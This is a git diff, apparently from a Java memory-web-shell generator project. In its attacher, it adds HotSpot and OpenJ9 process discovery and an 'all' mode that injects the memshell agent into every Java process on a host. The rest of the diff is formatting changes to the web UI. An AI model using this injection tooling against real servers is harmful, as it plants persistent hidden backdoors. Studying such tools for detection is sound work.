+ * + * @param file The PerfData file to parse. + * @return The value of {@code sun.rt.javaCommand}, or empty string if not found. + */ + private static String parsePerfData(File file) { + FileInputStream fis = null; + try { + fis = new FileInputStream(file); + long fileLength = file.length(); + if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) { + return ""; + } + byte[] data = new byte[(int) fileLength]; + int totalRead = 0; + int bytesRead; + while (totalRead < data.length + && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) { + totalRead += bytesRead; + } + if (totalRead < MIN_PERFDATA_SIZE) { + return ""; + } + + ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead); + // Magic number is always stored in big-endian + buffer.order(ByteOrder.BIG_ENDIAN); + int magic = buffer.getInt(); // offset 0 + if (magic != PERFDATA_MAGIC) { + return ""; + } + + byte byteOrder = buffer.get(); // offset 4 + if (byteOrder == 1) { + buffer.order(ByteOrder.LITTLE_ENDIAN); + } + + byte majorVersion = buffer.get(); // offset 5 + buffer.get(); // offset 6: minor version + buffer.get(); // offset 7: accessible / reserved + + if (majorVersion < 2) { + // Only PerfData v2 format is supported + return ""; + } + + // v2 prologue fields + buffer.getInt(); // offset 8: used + buffer.getInt(); // offset 12: overflow + buffer.getLong(); // offset 16: mod_time_stamp + int entryOffset = buffer.getInt(); // offset 24: entry_offset + int numEntries = buffer.getInt(); // offset 28: num_entries + + // Iterate through PerfData entries + int pos = entryOffset; + for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) { + buffer.position(pos); + int entryLength = buffer.getInt(); + if (entryLength <= 0 || pos + entryLength > totalRead) { + break; + } + + int nameOffset = buffer.getInt(); + buffer.getInt(); // vector_length + buffer.get(); // data_type + buffer.get(); // flags + byte dataUnits = buffer.get(); // data_units + buffer.get(); // data_variability + int dataOffset = buffer.getInt(); + + // Read the entry name (null-terminated UTF-8 string) + int nameStart = pos + nameOffset; + if (nameStart < 0 || nameStart >= totalRead) { + pos += entryLength; + continue; + } + int nameEnd = nameStart; + while (nameEnd < totalRead && data[nameEnd] != 0) { + nameEnd++; + } + String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8"); + + if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) { + // Read the string value + int dataStart = pos + dataOffset; + if (dataStart < 0 || dataStart >= totalRead) { + return ""; + } + int dataEnd = dataStart; + while (dataEnd < totalRead && data[dataEnd] != 0) { + dataEnd++; + } + return new String(data, dataStart, dataEnd - dataStart, "UTF-8"); + } + + pos += entryLength; + } + + return ""; + } catch (Exception ignored) { + return ""; + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + + /** + * Checks if a string consists entirely of digit characters. + * + * @param str The string to check. + * @return {@code true} if the string is non-empty and contains only digits. + */ + private static boolean isNumeric(String str) { + if (str == null || str.isEmpty()) { + return false; + } + for (int i = 0; i < str.length(); i++) { + if (str.charAt(i) < '0' || str.charAt(i) > '9') { + return false; + } + } + return true; + } + + /** + * Extracts the main class name from a {@code sun.rt.javaCommand} value. + * The value format is typically {@code "mainClass arg1 arg2 ..."} or + * {@code "/path/to/app.jar arg1 arg2 ..."}. This method returns the + * first space-delimited token. + * + * @param javaCommand The full Java command string. + * @return The main class or JAR name, or empty string if input is empty. + */ + private static String extractMainClass(String javaCommand) { + if (javaCommand == null || javaCommand.isEmpty()) { + return ""; + } + int spaceIndex = javaCommand.indexOf(' '); + return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand; + } + } + + /** + * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories + * and reading {@code attachInfo} property files. + */ + private static class OpenJ9ProcessDiscovery { + + /** + * The directory name used by OpenJ9 for attach API information. + */ + private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach"; + + /** + * The file name containing process attach information within each VM directory. + */ + private static final String ATTACH_INFO_FILE = "attachInfo"; + + /** + * Discovers all OpenJ9 JVM processes visible to the current user. + * + * @return A list of discovered OpenJ9 Java process descriptors. + */ + static List discover() { + List result = new ArrayList(); + for (File attachDir : getAttachDirectories()) { + if (!attachDir.isDirectory()) { + continue; + } + File[] vmDirs = attachDir.listFiles(); + if (vmDirs == null) { + continue; + } + for (File vmDir : vmDirs) { + if (!vmDir.isDirectory()) { + continue; + } + File attachInfo = new File(vmDir, ATTACH_INFO_FILE); + if (!attachInfo.isFile() || !attachInfo.canRead()) { + continue; + } + FileInputStream fis = null; + try { + Properties props = new Properties(); + fis = new FileInputStream(attachInfo); + props.load(fis); + String pid = props.getProperty("processId"); + String displayName = props.getProperty("displayName", ""); + if (pid != null && pid.length() > 0) { + result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9")); + } + } catch (Exception ignored) { + /* do nothing */ + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + } + return result; + } + + /** + * Returns the list of directories to scan for OpenJ9 attach information. + * On Windows, uses {@code java.io.tmpdir}. On Linux/macOS, uses {@code /tmp} + * and also {@code java.io.tmpdir} if it differs. Additionally checks the + * {@code com.ibm.tools.attach.directory} system property. + * + * @return A list of attach directories to scan. + */ + private static List getAttachDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME)); + } else { + dirs.add(new File("/tmp", ATTACH_DIR_NAME)); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME)); + } + } + String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory"); + if (ibmAttachDir != null) { + dirs.add(new File(ibmAttachDir)); + } + return dirs; + } + } } diff --git a/memshell-agent/memshell-agent-attacher/src/main/java/Main.java b/memshell-agent/memshell-agent-attacher/src/main/java/Main.java index e25bf1b5..d8fe27da 100644 --- a/memshell-agent/memshell-agent-attacher/src/main/java/Main.java +++ b/memshell-agent/memshell-agent-attacher/src/main/java/Main.java @@ -1,9 +1,46 @@ +import java.util.List; + /** * @author ReaJason * @since 2025/5/16 */ public class Main { + /** + * java -jar attach.jar — 列出所有 Java 进程 + * java -jar attach.jar — 注入指定进程 + * java -jar attach.jar all — 注入所有 Java 进程(自动跳过自身,单个失败不影响其他进程) + */ public static void main(String[] args) throws Exception { - Attacher.attach(args[0]); + if (args.length == 0) { + List processes = Attacher.listJavaProcesses(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (Attacher.JavaProcessDescriptor process : processes) { + System.out.println(process); + } + } + } else if ("all".equalsIgnoreCase(args[0])) { + List processes = Attacher.listJavaProcesses(); + String currentPid = Attacher.ProcessProvider.ForCurrentVm.INSTANCE.resolve(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (Attacher.JavaProcessDescriptor process : processes) { + if (process.getPid().equals(currentPid)) { + continue; + } + try { + System.out.println("Attaching to " + process + " ..."); + Attacher.attach(process.getPid()); + System.out.println(" -> Success"); + } catch (Exception e) { + System.out.println(" -> Failed: " + e.getMessage()); + } + } + } + } else { + Attacher.attach(args[0]); + } } } diff --git a/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java index 3729bbca..8d82b422 100644 --- a/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java +++ b/packer/src/main/java/com/reajason/javaweb/packer/jar/attach/Attacher.java @@ -15,6 +15,7 @@ */ import java.io.File; +import java.io.FileInputStream; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; @@ -22,13 +23,12 @@ import java.net.URISyntaxException; import java.net.URL; import java.net.URLClassLoader; +import java.nio.ByteBuffer; +import java.nio.ByteOrder; import java.security.CodeSource; import java.security.PrivilegedAction; import java.security.ProtectionDomain; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.Collections; -import java.util.List; +import java.util.*; /** * Copy from Byte Buddy @@ -53,24 +53,54 @@ private Attacher() { } public static void main(String[] args) throws Exception { + if (args.length == 0) { + List processes = listJavaProcesses(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (JavaProcessDescriptor process : processes) { + System.out.println(process); + } + } + } else if ("all".equalsIgnoreCase(args[0])) { + List processes = listJavaProcesses(); + String currentPid = ProcessProvider.ForCurrentVm.INSTANCE.resolve(); + if (processes.isEmpty()) { + System.out.println("No Java processes found."); + } else { + for (JavaProcessDescriptor process : processes) { + if (process.getPid().equals(currentPid)) { + continue; + } + try { + System.out.println("Attaching to " + process + " ..."); + doAttach(process.getPid()); + System.out.println(" -> Success"); + } catch (Exception e) { + System.out.println(" -> Failed: " + e.getMessage()); + e.printStackTrace(); + } + } + } + } else { + doAttach(args[0]); + System.out.println("ok"); + } + } + + private static void doAttach(String processId) { try { - Attacher.attach(args[0]); + Attacher.attach(processId); } catch (Exception e) { - if (!e.getMessage().equals("0")) { - Throwable cause = e.getCause(); - if (cause != null) { - if (!cause.getMessage().equals("0")) { - cause = e.getCause(); - if (cause != null) { - if (!cause.getMessage().equals("0")) { - throw e; - } - } - } + Throwable currentCause = e; + while (currentCause != null) { + if ("0".equals(currentCause.getMessage())) { + return; } + currentCause = currentCause.getCause(); } + throw (RuntimeException) e; } - System.out.println("ok"); } /** @@ -112,6 +142,30 @@ public static void attach(File agentJar, String processId, String argument) { install(processId, argument, new AgentProvider.ForExistingAgent(agentJar)); } + /** + *

+ * Lists all discoverable Java processes on the local host. + * Supports both HotSpot and OpenJ9 JVMs across Windows, macOS, and Linux. + *

+ * + * @return A list of discovered Java process descriptors. + */ + public static List listJavaProcesses() { + List processes = new ArrayList(); + Set seenPids = new HashSet(); + for (JavaProcessDescriptor descriptor : HotSpotProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + for (JavaProcessDescriptor descriptor : OpenJ9ProcessDiscovery.discover()) { + if (seenPids.add(descriptor.getPid())) { + processes.add(descriptor); + } + } + return processes; + } + /** * Installs a Java agent on a target VM. * @@ -949,4 +1003,300 @@ public boolean requiresExternalAttachment(String processId) { } } } + + /** + * Represents a discovered Java process on the local host. + */ + public static class JavaProcessDescriptor { + + private final String pid; + private final String mainClass; + private final String vmType; + + public JavaProcessDescriptor(String pid, String mainClass, String vmType) { + this.pid = pid; + this.mainClass = mainClass; + this.vmType = vmType; + } + + public String getPid() { + return pid; + } + + public String getMainClass() { + return mainClass; + } + + public String getVmType() { + return vmType; + } + + @Override + public String toString() { + StringBuilder sb = new StringBuilder(); + sb.append(pid); + if (mainClass.length() > 0) { + sb.append(' ').append(mainClass); + } + sb.append(" (").append(vmType).append(')'); + return sb.toString(); + } + } + + /** + * Discovers running HotSpot JVM processes by scanning {@code hsperfdata_} directories. + */ + private static class HotSpotProcessDiscovery { + + private static final int PERFDATA_MAGIC = 0xcafec0c0; + private static final String HSPERFDATA_PREFIX = "hsperfdata_"; + private static final String JAVA_COMMAND_KEY = "sun.rt.javaCommand"; + private static final byte UNITS_STRING = 5; + private static final int MAX_PERFDATA_SIZE = 1024 * 1024; + private static final int MIN_PERFDATA_SIZE = 32; + private static final int ENTRY_HEADER_SIZE = 20; + + static List discover() { + List result = new ArrayList(); + Set seen = new HashSet(); + for (File tmpDir : getTempDirectories()) { + if (!tmpDir.isDirectory()) { + continue; + } + File[] userDirs = tmpDir.listFiles(); + if (userDirs == null) { + continue; + } + for (File userDir : userDirs) { + if (!userDir.isDirectory() || !userDir.getName().startsWith(HSPERFDATA_PREFIX)) { + continue; + } + File[] pidFiles = userDir.listFiles(); + if (pidFiles == null) { + continue; + } + for (File pidFile : pidFiles) { + String fileName = pidFile.getName(); + if (!pidFile.isFile() || !pidFile.canRead() || !isNumeric(fileName)) { + continue; + } + if (!seen.add(fileName)) { + continue; + } + String javaCommand = parsePerfData(pidFile); + result.add(new JavaProcessDescriptor(fileName, extractMainClass(javaCommand), "HotSpot")); + } + } + } + return result; + } + + private static List getTempDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"))); + } else { + dirs.add(new File("/tmp")); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir)); + } + } + return dirs; + } + + private static String parsePerfData(File file) { + FileInputStream fis = null; + try { + fis = new FileInputStream(file); + long fileLength = file.length(); + if (fileLength < MIN_PERFDATA_SIZE || fileLength > MAX_PERFDATA_SIZE) { + return ""; + } + byte[] data = new byte[(int) fileLength]; + int totalRead = 0; + int bytesRead; + while (totalRead < data.length + && (bytesRead = fis.read(data, totalRead, data.length - totalRead)) != -1) { + totalRead += bytesRead; + } + if (totalRead < MIN_PERFDATA_SIZE) { + return ""; + } + + ByteBuffer buffer = ByteBuffer.wrap(data, 0, totalRead); + buffer.order(ByteOrder.BIG_ENDIAN); + int magic = buffer.getInt(); + if (magic != PERFDATA_MAGIC) { + return ""; + } + + byte byteOrder = buffer.get(); + if (byteOrder == 1) { + buffer.order(ByteOrder.LITTLE_ENDIAN); + } + + byte majorVersion = buffer.get(); + buffer.get(); // minor version + buffer.get(); // accessible / reserved + + if (majorVersion < 2) { + return ""; + } + + buffer.getInt(); // used + buffer.getInt(); // overflow + buffer.getLong(); // mod_time_stamp + int entryOffset = buffer.getInt(); + int numEntries = buffer.getInt(); + + int pos = entryOffset; + for (int i = 0; i < numEntries && pos >= 0 && pos + ENTRY_HEADER_SIZE <= totalRead; i++) { + buffer.position(pos); + int entryLength = buffer.getInt(); + if (entryLength <= 0 || pos + entryLength > totalRead) { + break; + } + + int nameOffset = buffer.getInt(); + buffer.getInt(); // vector_length + buffer.get(); // data_type + buffer.get(); // flags + byte dataUnits = buffer.get(); + buffer.get(); // data_variability + int dataOffset = buffer.getInt(); + + int nameStart = pos + nameOffset; + if (nameStart < 0 || nameStart >= totalRead) { + pos += entryLength; + continue; + } + int nameEnd = nameStart; + while (nameEnd < totalRead && data[nameEnd] != 0) { + nameEnd++; + } + String name = new String(data, nameStart, nameEnd - nameStart, "UTF-8"); + + if (JAVA_COMMAND_KEY.equals(name) && dataUnits == UNITS_STRING) { + int dataStart = pos + dataOffset; + if (dataStart < 0 || dataStart >= totalRead) { + return ""; + } + int dataEnd = dataStart; + while (dataEnd < totalRead && data[dataEnd] != 0) { + dataEnd++; + } + return new String(data, dataStart, dataEnd - dataStart, "UTF-8"); + } + + pos += entryLength; + } + + return ""; + } catch (Exception ignored) { + return ""; + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + + private static boolean isNumeric(String str) { + if (str == null || str.isEmpty()) { + return false; + } + for (int i = 0; i < str.length(); i++) { + if (str.charAt(i) < '0' || str.charAt(i) > '9') { + return false; + } + } + return true; + } + + private static String extractMainClass(String javaCommand) { + if (javaCommand == null || javaCommand.isEmpty()) { + return ""; + } + int spaceIndex = javaCommand.indexOf(' '); + return spaceIndex > 0 ? javaCommand.substring(0, spaceIndex) : javaCommand; + } + } + + /** + * Discovers running OpenJ9 JVM processes by scanning {@code .com_ibm_tools_attach} directories. + */ + private static class OpenJ9ProcessDiscovery { + + private static final String ATTACH_DIR_NAME = ".com_ibm_tools_attach"; + private static final String ATTACH_INFO_FILE = "attachInfo"; + + static List discover() { + List result = new ArrayList(); + for (File attachDir : getAttachDirectories()) { + if (!attachDir.isDirectory()) { + continue; + } + File[] vmDirs = attachDir.listFiles(); + if (vmDirs == null) { + continue; + } + for (File vmDir : vmDirs) { + if (!vmDir.isDirectory()) { + continue; + } + File attachInfo = new File(vmDir, ATTACH_INFO_FILE); + if (!attachInfo.isFile() || !attachInfo.canRead()) { + continue; + } + FileInputStream fis = null; + try { + Properties props = new Properties(); + fis = new FileInputStream(attachInfo); + props.load(fis); + String pid = props.getProperty("processId"); + String displayName = props.getProperty("displayName", ""); + if (pid != null && pid.length() > 0) { + result.add(new JavaProcessDescriptor(pid, displayName, "OpenJ9")); + } + } catch (Exception ignored) { + /* do nothing */ + } finally { + if (fis != null) { + try { + fis.close(); + } catch (IOException ignored) { + /* do nothing */ + } + } + } + } + } + return result; + } + + private static List getAttachDirectories() { + List dirs = new ArrayList(); + String osName = System.getProperty("os.name", ""); + if (osName.startsWith("Windows")) { + dirs.add(new File(System.getProperty("java.io.tmpdir"), ATTACH_DIR_NAME)); + } else { + dirs.add(new File("/tmp", ATTACH_DIR_NAME)); + String javaIoTmpDir = System.getProperty("java.io.tmpdir"); + if (javaIoTmpDir != null && !"/tmp".equals(javaIoTmpDir) && !"/tmp/".equals(javaIoTmpDir)) { + dirs.add(new File(javaIoTmpDir, ATTACH_DIR_NAME)); + } + } + String ibmAttachDir = System.getProperty("com.ibm.tools.attach.directory"); + if (ibmAttachDir != null) { + dirs.add(new File(ibmAttachDir)); + } + return dirs; + } + } } diff --git a/web/.oxfmtrc.json b/web/.oxfmtrc.json new file mode 100644 index 00000000..c6b4dbd4 --- /dev/null +++ b/web/.oxfmtrc.json @@ -0,0 +1,20 @@ +{ + "$schema": "./node_modules/oxfmt/configuration_schema.json", + "experimentalTailwindcss": { + "stylesheet": "./app/app.css", + "attributes": ["class", "className"], + "functions": ["clsx", "cn"], + "preserveWhitespace": true + }, + "ignorePatterns": [], + "sortImports": { + "newlinesBetween": true, + "groups": [ + "type-import", + ["value-builtin", "value-external"], + "value-internal", + ["value-parent", "value-sibling", "value-index"], + "unknown" + ] + } +} diff --git a/web/.oxlintrc.json b/web/.oxlintrc.json new file mode 100644 index 00000000..3ec834da --- /dev/null +++ b/web/.oxlintrc.json @@ -0,0 +1,12 @@ +{ + "$schema": "./node_modules/oxlint/configuration_schema.json", + "rules": { + "no-unused-vars": [ + "warn", + { + "args": "none", + "varsIgnorePattern": "^_" + } + ] + } +} diff --git a/web/app/components/code-viewer.tsx b/web/app/components/code-viewer.tsx index 74304e69..dffb4a94 100644 --- a/web/app/components/code-viewer.tsx +++ b/web/app/components/code-viewer.tsx @@ -1,18 +1,14 @@ import type { VariantProps } from "class-variance-authority"; + import { Check, Copy } from "lucide-react"; -import { - type HTMLProps, - type ReactNode, - useCallback, - useEffect, - useState, -} from "react"; +import { type HTMLProps, type ReactNode, useCallback, useEffect, useState } from "react"; import CopyToClipboard from "react-copy-to-clipboard"; import { useTranslation } from "react-i18next"; import { PrismLight as SyntaxHighlighter } from "react-syntax-highlighter"; import java from "react-syntax-highlighter/dist/esm/languages/prism/java"; import materialDark from "react-syntax-highlighter/dist/esm/styles/prism/material-dark"; import { toast } from "sonner"; + import { Button, type buttonVariants } from "@/components/ui/button"; import { cn } from "@/lib/utils"; @@ -68,17 +64,13 @@ export default function CodeViewer({ showLineNumbers = true, wrapLongLines = true, }: Readonly) { - const lineProps: lineTagPropsFunction | HTMLProps | undefined = - wrapLongLines - ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } - : undefined; + const lineProps: lineTagPropsFunction | HTMLProps | undefined = wrapLongLines + ? { style: { overflowWrap: "break-word", whiteSpace: "pre-wrap" } } + : undefined; return (
{header}
@@ -86,7 +78,7 @@ export default function CodeViewer({
-
+
-
+
{value && ( @@ -59,11 +55,7 @@ export function CopyableField({ className="h-8 w-8" disabled={hasCopied} > - {hasCopied ? ( - - ) : ( - - )} + {hasCopied ? : } )} diff --git a/web/app/components/icons.tsx b/web/app/components/icons.tsx index ccf8063e..81cc5a30 100644 --- a/web/app/components/icons.tsx +++ b/web/app/components/icons.tsx @@ -9,5 +9,5 @@ export const Icons = { d="M409.132 114.573c-19.608-33.596-46.205-60.194-79.798-79.8-33.598-19.607-70.277-29.408-110.063-29.408-39.781 0-76.472 9.804-110.063 29.408-33.596 19.605-60.192 46.204-79.8 79.8C9.803 148.168 0 184.854 0 224.63c0 47.78 13.94 90.745 41.827 128.906 27.884 38.164 63.906 64.572 108.063 79.227 5.14.954 8.945.283 11.419-1.996 2.475-2.282 3.711-5.14 3.711-8.562 0-.571-.049-5.708-.144-15.417a2549.81 2549.81 0 01-.144-25.406l-6.567 1.136c-4.187.767-9.469 1.092-15.846 1-6.374-.089-12.991-.757-19.842-1.999-6.854-1.231-13.229-4.086-19.13-8.559-5.898-4.473-10.085-10.328-12.56-17.556l-2.855-6.57c-1.903-4.374-4.899-9.233-8.992-14.559-4.093-5.331-8.232-8.945-12.419-10.848l-1.999-1.431c-1.332-.951-2.568-2.098-3.711-3.429-1.142-1.331-1.997-2.663-2.568-3.997-.572-1.335-.098-2.43 1.427-3.289 1.525-.859 4.281-1.276 8.28-1.276l5.708.853c3.807.763 8.516 3.042 14.133 6.851 5.614 3.806 10.229 8.754 13.846 14.842 4.38 7.806 9.657 13.754 15.846 17.847 6.184 4.093 12.419 6.136 18.699 6.136 6.28 0 11.704-.476 16.274-1.423 4.565-.952 8.848-2.383 12.847-4.285 1.713-12.758 6.377-22.559 13.988-29.41-10.848-1.14-20.601-2.857-29.264-5.14-8.658-2.286-17.605-5.996-26.835-11.14-9.235-5.137-16.896-11.516-22.985-19.126-6.09-7.614-11.088-17.61-14.987-29.979-3.901-12.374-5.852-26.648-5.852-42.826 0-23.035 7.52-42.637 22.557-58.817-7.044-17.318-6.379-36.732 1.997-58.24 5.52-1.715 13.706-.428 24.554 3.853 10.85 4.283 18.794 7.952 23.84 10.994 5.046 3.041 9.089 5.618 12.135 7.708 17.705-4.947 35.976-7.421 54.818-7.421s37.117 2.474 54.823 7.421l10.849-6.849c7.419-4.57 16.18-8.758 26.262-12.565 10.088-3.805 17.802-4.853 23.134-3.138 8.562 21.509 9.325 40.922 2.279 58.24 15.036 16.18 22.559 35.787 22.559 58.817 0 16.178-1.958 30.497-5.853 42.966-3.9 12.471-8.941 22.457-15.125 29.979-6.191 7.521-13.901 13.85-23.131 18.986-9.232 5.14-18.182 8.85-26.84 11.136-8.662 2.286-18.415 4.004-29.263 5.146 9.894 8.562 14.842 22.077 14.842 40.539v60.237c0 3.422 1.19 6.279 3.572 8.562 2.379 2.279 6.136 2.95 11.276 1.995 44.163-14.653 80.185-41.062 108.068-79.226 27.88-38.161 41.825-81.126 41.825-128.906-.01-39.771-9.818-76.454-29.414-110.049z" /> - ) + ), }; diff --git a/web/app/components/image-zoom.tsx b/web/app/components/image-zoom.tsx index 6f15872e..1cb1f7b6 100644 --- a/web/app/components/image-zoom.tsx +++ b/web/app/components/image-zoom.tsx @@ -1,8 +1,10 @@ "use client"; -import { Image, type ImageProps } from "fumadocs-core/framework"; import type { ComponentProps } from "react"; + +import { Image, type ImageProps } from "fumadocs-core/framework"; import Zoom, { type UncontrolledProps } from "react-medium-image-zoom"; + import "@/components/image-zoom.css"; export type ImageZoomProps = ImageProps & { @@ -22,20 +24,14 @@ function getImageSrc(src: ImageProps["src"]): string { if (typeof src === "object") { // Next.js - if ("default" in src) - return (src as { default: { src: string } }).default.src; + if ("default" in src) return (src as { default: { src: string } }).default.src; return src.src; } return ""; } -export function ImageZoom({ - zoomInProps, - children, - rmiz, - ...props -}: ImageZoomProps) { +export function ImageZoom({ zoomInProps, children, rmiz, ...props }: ImageZoomProps) { return ( {children ?? ( - + )} ); diff --git a/web/app/components/language-switcher.tsx b/web/app/components/language-switcher.tsx index cd5332a2..296cc8e1 100644 --- a/web/app/components/language-switcher.tsx +++ b/web/app/components/language-switcher.tsx @@ -1,5 +1,6 @@ import { LanguagesIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; + import { Button } from "./ui/button"; export function LanguageSwitcher() { diff --git a/web/app/components/magicui/line-shadow-text.tsx b/web/app/components/magicui/line-shadow-text.tsx index c8618d47..74866190 100644 --- a/web/app/components/magicui/line-shadow-text.tsx +++ b/web/app/components/magicui/line-shadow-text.tsx @@ -1,9 +1,9 @@ import { type MotionProps, motion } from "motion/react"; + import { cn } from "@/lib/utils"; interface LineShadowTextProps - extends Omit, keyof MotionProps>, - MotionProps { + extends Omit, keyof MotionProps>, MotionProps { shadowColor?: string; as?: React.ElementType; } @@ -27,7 +27,7 @@ export function LineShadowText({ style={{ "--shadow-color": shadowColor } as React.CSSProperties} className={cn( "relative z-0 inline-flex", - "after:absolute after:left-[0.04em] after:top-[0.04em] after:content-[attr(data-text)]", + "after:absolute after:top-[0.04em] after:left-[0.04em] after:content-[attr(data-text)]", "after:bg-[linear-gradient(45deg,transparent_45%,var(--shadow-color)_45%,var(--shadow-color)_55%,transparent_0)]", "after:-z-10 after:bg-[length:0.06em_0.06em] after:bg-clip-text after:text-transparent", "after:animate-line-shadow", diff --git a/web/app/components/mdx.tsx b/web/app/components/mdx.tsx index 0d14e2e3..84d65bc5 100644 --- a/web/app/components/mdx.tsx +++ b/web/app/components/mdx.tsx @@ -1,15 +1,16 @@ -import defaultMdxComponents from 'fumadocs-ui/mdx'; -import type { MDXComponents } from 'mdx/types'; +import type { MDXComponents } from "mdx/types"; + +import defaultMdxComponents from "fumadocs-ui/mdx"; export function getMDXComponents(components?: MDXComponents) { - return { - ...defaultMdxComponents, - ...components, - } satisfies MDXComponents; + return { + ...defaultMdxComponents, + ...components, + } satisfies MDXComponents; } export const useMDXComponents = getMDXComponents; declare global { - type MDXProvidedComponents = ReturnType; -} \ No newline at end of file + type MDXProvidedComponents = ReturnType; +} diff --git a/web/app/components/memshell/jreversion-field.tsx b/web/app/components/memshell/jreversion-field.tsx index dc875777..cb9566fe 100644 --- a/web/app/components/memshell/jreversion-field.tsx +++ b/web/app/components/memshell/jreversion-field.tsx @@ -1,11 +1,9 @@ +import type { MemShellFormSchema } from "@/types/schema"; + import { Controller, type UseFormReturn } from "react-hook-form"; import { useTranslation } from "react-i18next"; -import { - Field, - FieldContent, - FieldError, - FieldLabel, -} from "@/components/ui/field"; + +import { Field, FieldContent, FieldError, FieldLabel } from "@/components/ui/field"; import { Select, SelectContent, @@ -13,7 +11,6 @@ import { SelectTrigger, SelectValue, } from "@/components/ui/select"; -import type { MemShellFormSchema } from "@/types/schema"; const JDKVersion = [ { name: "Java6", value: "50" }, @@ -37,9 +34,7 @@ export function JREVersionFormField({ render={({ field, fieldState }) => ( - - {t("common:targetJdkVersion")} - + {t("common:targetJdkVersion")} + {t("common:server")} + - handleShellToolChange(v as string) - } + onValueChange={(v) => handleShellToolChange(v as string)} > - + {shellTools.map((tool) => ( @@ -336,21 +306,17 @@ export default function MainConfigCard({ />
-
+
(
- + - +

{t("common:debug.description")}

@@ -364,15 +330,11 @@ export default function MainConfigCard({ name="probe" render={({ field }) => (
- + - +

{t("common:probe.description")}

@@ -386,17 +348,11 @@ export default function MainConfigCard({ name="byPassJavaModule" render={({ field }) => (
- - + + - +

{t("common:byPassJavaModule.description")}

@@ -415,12 +371,10 @@ export default function MainConfigCard({ checked={field.value} onCheckedChange={field.onChange} /> - + - +

{t("common:lambdaSuffix.description")}

@@ -434,15 +388,11 @@ export default function MainConfigCard({ name="shrink" render={({ field }) => (
- + - +

{t("common:shrink.description")}

@@ -461,12 +411,10 @@ export default function MainConfigCard({ checked={field.value} onCheckedChange={field.onChange} /> - + - +

{t("common:staticInitialize.description")}

@@ -487,11 +435,7 @@ export default function MainConfigCard({ - + diff --git a/web/app/components/memshell/package-config-card.tsx b/web/app/components/memshell/package-config-card.tsx index 43b0ee90..a86ad746 100644 --- a/web/app/components/memshell/package-config-card.tsx +++ b/web/app/components/memshell/package-config-card.tsx @@ -1,13 +1,15 @@ +import type { PackerConfig } from "@/types/memshell"; +import type { MemShellFormSchema } from "@/types/schema"; + import { PackageIcon } from "lucide-react"; import { useMemo } from "react"; import { Controller, type UseFormReturn, useWatch } from "react-hook-form"; import { useTranslation } from "react-i18next"; + import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; import { FieldLabel, FieldSet } from "@/components/ui/field"; import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group"; import { Spinner } from "@/components/ui/spinner"; -import type { PackerConfig } from "@/types/memshell"; -import type { MemShellFormSchema } from "@/types/schema"; export default function PackageConfigCard({ packerConfig, @@ -84,11 +86,9 @@ export default function PackageConfigCard({ )} /> ) : ( -
+
- - {t("loading")} - + {t("loading")}
)} diff --git a/web/app/components/memshell/quick-usage.tsx b/web/app/components/memshell/quick-usage.tsx index 72b1cd00..a9385d9c 100644 --- a/web/app/components/memshell/quick-usage.tsx +++ b/web/app/components/memshell/quick-usage.tsx @@ -1,5 +1,6 @@ import { ScrollTextIcon } from "lucide-react"; import { useTranslation } from "react-i18next"; + import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; export function QuickUsage() { @@ -13,7 +14,7 @@ export function QuickUsage() { -
    +
    1. {t("memshell:quickUsage.step1")}
    2. {t("memshell:quickUsage.step2")}
    3. {t("memshell:quickUsage.step3")}
